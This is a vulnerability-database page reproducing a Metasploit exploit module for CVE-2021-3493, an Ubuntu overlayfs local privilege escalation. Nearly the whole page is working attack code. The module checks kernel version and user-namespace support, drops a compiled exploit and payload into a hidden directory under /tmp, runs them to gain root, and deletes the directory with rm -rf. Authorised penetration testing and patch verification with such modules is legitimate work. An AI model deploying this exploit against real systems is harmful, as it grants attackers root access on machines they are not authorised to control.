Lucene search
K

Ubuntu Overlayfs Local Privilege Escalation

🗓️ 03 Dec 2021 00:00:00Reported by bwatters-r7, ssd-disclosure, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 790 Views

ubuntu Overlayfs Local Privilege Escalation vulnerability in Ubuntu's Overlayf

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Compile  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => '2021 Ubuntu Overlayfs LPE',  
'Description' => %q{  
This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The  
vulnerability is the result of failing to verify the ability of a user to set the  
attributes in a running executable. Specifically, when Overlayfs sends the set attributes  
data to the underlying file system via `vfs_setxattr`, it fails to first verify the data  
by calling `cap_convert_nscap`.  
This vulnerability was patched by moving the call to `cap_convert_nscap`  
into the `vfs_setxattr` function that sets the attribute, forcing verification every time the  
`vfs_setxattr` is called rather than trusting the data was already verified.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'ssd-disclosure',  
'bwatters-r7' # Aka @tychos_moose, Metasploit Module  
],  
'DisclosureDate' => '2021-04-12',  
'Platform' => [ 'linux' ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Privileged' => true,  
'References' => [  
[ 'CVE', '2021-3493' ],  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ],  
[ 'URL', 'https://github.com/briskets/CVE-2021-3493' ]  
],  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ ],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'Targets' => [  
[  
'x86_64',  
{  
'Arch' => [ ARCH_X64 ]  
}  
],  
[  
'aarch64',  
{  
'Arch' => [ ARCH_AARCH64 ]  
}  
]  
],  
'DefaultTarget' => 0  
)  
)  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
]  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def check  
arch = kernel_hardware  
  
unless arch.include?('x86_64') || arch.include?('aarch64')  
return CheckCode::Safe("System architecture #{arch} is not supported")  
end  
  
release = kernel_release  
version = kernel_version  
  
unless userns_enabled?  
return CheckCode::Safe('Unprivileged user namespaces are not permitted')  
end  
  
vprint_good('Unprivileged user namespaces are permitted')  
  
# If the target is Ubuntu...  
unless version =~ /[uU]buntu/  
return CheckCode::Safe('Target is not Ubuntu!')  
end  
  
version_array = release.split('-')  
if version_array.length < 2  
fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')  
end  
vprint_status("Version array: #{version_array}")  
major_version = Rex::Version.new(version_array[0])  
vprint_status("major_version: #{major_version}")  
minor_version = version_array[1]  
vprint_status("minor_version: #{minor_version}")  
lower_bound_version = Rex::Version.new(3.13)  
upper_bound_version = Rex::Version.new(5.14)  
if major_version > upper_bound_version || major_version < lower_bound_version  
return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")  
end  
  
return CheckCode::Appears  
end  
  
def exploit  
if is_root? && !datastore['ForceExploit']  
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')  
end  
base_dir = datastore['WritableDir'].to_s  
unless writable?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is not writable")  
end  
  
executable_name = ".#{rand_text_alphanumeric(5..10)}"  
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
exploit_path = "#{exploit_dir}/#{executable_name}"  
if file_exist?(exploit_dir)  
fail_with(Failure::BadConfig, 'Exploit dir already exists')  
end  
mkdir(exploit_dir)  
register_dir_for_cleanup(exploit_dir)  
  
# Upload exploit  
arch = kernel_hardware  
vprint_status("Detected architecture: #{arch}")  
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))  
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')  
end  
if live_compile?  
vprint_status('Live compiling exploit on system...')  
upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
if arch.include?('x86_64')  
precompiled_binary = 'cve_2021_3493.x64.elf'  
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")  
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)  
elsif arch.include?('aarch64')  
precompiled_binary = 'cve_2021_3493.aarch64.elf'  
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")  
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)  
else  
fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")  
end  
  
end  
register_file_for_cleanup(exploit_path)  
  
# Upload payload  
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx(payload_path, generate_payload_exe)  
  
# Launch exploit  
print_status('Launching exploit...')  
random_string = rand_text_alphanumeric(5..10)  
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}"  
vprint_status("Running: #{cmd_string}")  
begin  
output = cmd_exec(cmd_string)  
vprint_status(output)  
rescue Error => e  
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)  
print_error("Exploit failed: #{e}")  
ensure  
# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.  
cmd_exec("rm -rf '#{exploit_dir}'")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation